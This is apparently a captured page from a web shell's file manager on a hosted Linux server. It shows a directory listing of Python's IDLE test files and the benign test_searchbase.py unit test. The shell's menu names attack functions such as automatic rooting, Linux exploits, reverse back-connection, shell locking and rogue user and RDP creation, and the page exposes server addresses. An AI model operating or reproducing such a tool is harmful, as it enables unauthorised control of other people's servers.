Linux cpanel.rrshost.in 5.15.0-25-generic #25-Ubuntu SMP Wed Mar 30 15:54:22 UTC 2022 x86_64
Apache
: 109.123.238.221 | : 172.69.130.94
128 Domain
8.2.28
aev999
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
mysqlsh /
lib /
python3.13 /
idlelib /
idle_test /
[ HOME SHELL ]
Name
Size
Permission
Action
README.txt
8.67
KB
-rw-r--r--
__init__.py
1.22
KB
-rw-r--r--
example_noext
68
B
-rw-r--r--
example_stub.pyi
164
B
-rw-r--r--
htest.py
14.95
KB
-rw-r--r--
mock_idle.py
1.9
KB
-rw-r--r--
mock_tk.py
11.42
KB
-rw-r--r--
template.py
642
B
-rw-r--r--
test_autocomplete.py
10.83
KB
-rw-r--r--
test_autocomplete_w.py
720
B
-rw-r--r--
test_autoexpand.py
4.53
KB
-rw-r--r--
test_browser.py
8.22
KB
-rw-r--r--
test_calltip.py
13.34
KB
-rw-r--r--
test_calltip_w.py
686
B
-rw-r--r--
test_codecontext.py
15.71
KB
-rw-r--r--
test_colorizer.py
22.35
KB
-rw-r--r--
test_config.py
31.34
KB
-rw-r--r--
test_config_key.py
11.19
KB
-rw-r--r--
test_configdialog.py
54.09
KB
-rw-r--r--
test_debugger.py
9.5
KB
-rw-r--r--
test_debugger_r.py
965
B
-rw-r--r--
test_debugobj.py
1.57
KB
-rw-r--r--
test_debugobj_r.py
545
B
-rw-r--r--
test_delegator.py
1.53
KB
-rw-r--r--
test_editmenu.py
2.5
KB
-rw-r--r--
test_editor.py
7.96
KB
-rw-r--r--
test_filelist.py
795
B
-rw-r--r--
test_format.py
23.06
KB
-rw-r--r--
test_grep.py
4.95
KB
-rw-r--r--
test_help.py
863
B
-rw-r--r--
test_help_about.py
5.77
KB
-rw-r--r--
test_history.py
5.39
KB
-rw-r--r--
test_hyperparser.py
8.87
KB
-rw-r--r--
test_iomenu.py
2.4
KB
-rw-r--r--
test_macosx.py
3.36
KB
-rw-r--r--
test_mainmenu.py
1.6
KB
-rw-r--r--
test_multicall.py
1.29
KB
-rw-r--r--
test_outwin.py
5.54
KB
-rw-r--r--
test_parenmatch.py
3.46
KB
-rw-r--r--
test_pathbrowser.py
2.37
KB
-rw-r--r--
test_percolator.py
3.97
KB
-rw-r--r--
test_pyparse.py
18.91
KB
-rw-r--r--
test_pyshell.py
4.85
KB
-rw-r--r--
test_query.py
15.09
KB
-rw-r--r--
test_redirector.py
4.08
KB
-rw-r--r--
test_replace.py
8.1
KB
-rw-r--r--
test_rpc.py
805
B
-rw-r--r--
test_run.py
15.48
KB
-rw-r--r--
test_runscript.py
777
B
-rw-r--r--
test_scrolledlist.py
496
B
-rw-r--r--
test_search.py
2.4
KB
-rw-r--r--
test_searchbase.py
5.56
KB
-rw-r--r--
test_searchengine.py
11.32
KB
-rw-r--r--
test_sidebar.py
26.22
KB
-rw-r--r--
test_squeezer.py
19.2
KB
-rw-r--r--
test_stackviewer.py
991
B
-rw-r--r--
test_statusbar.py
1.11
KB
-rw-r--r--
test_text.py
6.81
KB
-rw-r--r--
test_textview.py
7.19
KB
-rw-r--r--
test_tooltip.py
5.26
KB
-rw-r--r--
test_tree.py
1.71
KB
-rw-r--r--
test_undo.py
4.13
KB
-rw-r--r--
test_util.py
308
B
-rw-r--r--
test_warning.py
2.68
KB
-rw-r--r--
test_window.py
1.05
KB
-rw-r--r--
test_zoomheight.py
999
B
-rw-r--r--
test_zzdummy.py
4.35
KB
-rw-r--r--
tkinter_testing_utils.py
2.28
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : test_searchbase.py
"Test searchbase, coverage 98%." # The only thing not covered is inconsequential -- # testing skipping of suite when self.needwrapbutton is false. import unittest from test.support import requires from tkinter import Text, Tk, Toplevel from tkinter.ttk import Frame from idlelib import searchengine as se from idlelib import searchbase as sdb from idlelib.idle_test.mock_idle import Func ## from idlelib.idle_test.mock_tk import Var # The ## imports above & following could help make some tests gui-free. # However, they currently make radiobutton tests fail. ##def setUpModule(): ## # Replace tk objects used to initialize se.SearchEngine. ## se.BooleanVar = Var ## se.StringVar = Var ## ##def tearDownModule(): ## se.BooleanVar = BooleanVar ## se.StringVar = StringVar class SearchDialogBaseTest(unittest.TestCase): @classmethod def setUpClass(cls): requires('gui') cls.root = Tk() @classmethod def tearDownClass(cls): cls.root.update_idletasks() cls.root.destroy() del cls.root def setUp(self): self.engine = se.SearchEngine(self.root) # None also seems to work self.dialog = sdb.SearchDialogBase(root=self.root, engine=self.engine) def tearDown(self): self.dialog.close() def test_open_and_close(self): # open calls create_widgets, which needs default_command self.dialog.default_command = None toplevel = Toplevel(self.root) text = Text(toplevel) self.dialog.open(text) self.assertEqual(self.dialog.top.state(), 'normal') self.dialog.close() self.assertEqual(self.dialog.top.state(), 'withdrawn') self.dialog.open(text, searchphrase="hello") self.assertEqual(self.dialog.ent.get(), 'hello') toplevel.update_idletasks() toplevel.destroy() def test_create_widgets(self): self.dialog.create_entries = Func() self.dialog.create_option_buttons = Func() self.dialog.create_other_buttons = Func() self.dialog.create_command_buttons = Func() self.dialog.default_command = None self.dialog.create_widgets() self.assertTrue(self.dialog.create_entries.called) self.assertTrue(self.dialog.create_option_buttons.called) self.assertTrue(self.dialog.create_other_buttons.called) self.assertTrue(self.dialog.create_command_buttons.called) def test_make_entry(self): equal = self.assertEqual self.dialog.row = 0 self.dialog.frame = Frame(self.root) entry, label = self.dialog.make_entry("Test:", 'hello') equal(label['text'], 'Test:') self.assertIn(entry.get(), 'hello') egi = entry.grid_info() equal(int(egi['row']), 0) equal(int(egi['column']), 1) equal(int(egi['rowspan']), 1) equal(int(egi['columnspan']), 1) equal(self.dialog.row, 1) def test_create_entries(self): self.dialog.frame = Frame(self.root) self.dialog.row = 0 self.engine.setpat('hello') self.dialog.create_entries() self.assertIn(self.dialog.ent.get(), 'hello') def test_make_frame(self): self.dialog.row = 0 self.dialog.frame = Frame(self.root) frame, label = self.dialog.make_frame() self.assertEqual(label, '') self.assertEqual(str(type(frame)), "<class 'tkinter.ttk.Frame'>") # self.assertIsInstance(frame, Frame) fails when test is run by # test_idle not run from IDLE editor. See issue 33987 PR. frame, label = self.dialog.make_frame('testlabel') self.assertEqual(label['text'], 'testlabel') def btn_test_setup(self, meth): self.dialog.frame = Frame(self.root) self.dialog.row = 0 return meth() def test_create_option_buttons(self): e = self.engine for state in (0, 1): for var in (e.revar, e.casevar, e.wordvar, e.wrapvar): var.set(state) frame, options = self.btn_test_setup( self.dialog.create_option_buttons) for spec, button in zip (options, frame.pack_slaves()): var, label = spec self.assertEqual(button['text'], label) self.assertEqual(var.get(), state) def test_create_other_buttons(self): for state in (False, True): var = self.engine.backvar var.set(state) frame, others = self.btn_test_setup( self.dialog.create_other_buttons) buttons = frame.pack_slaves() for spec, button in zip(others, buttons): val, label = spec self.assertEqual(button['text'], label) if val == state: # hit other button, then this one # indexes depend on button order self.assertEqual(var.get(), state) def test_make_button(self): self.dialog.frame = Frame(self.root) self.dialog.buttonframe = Frame(self.dialog.frame) btn = self.dialog.make_button('Test', self.dialog.close) self.assertEqual(btn['text'], 'Test') def test_create_command_buttons(self): self.dialog.frame = Frame(self.root) self.dialog.create_command_buttons() # Look for close button command in buttonframe closebuttoncommand = '' for child in self.dialog.buttonframe.winfo_children(): if child['text'] == 'Close': closebuttoncommand = child['command'] self.assertIn('close', closebuttoncommand) if __name__ == '__main__': unittest.main(verbosity=2, exit=2)
Close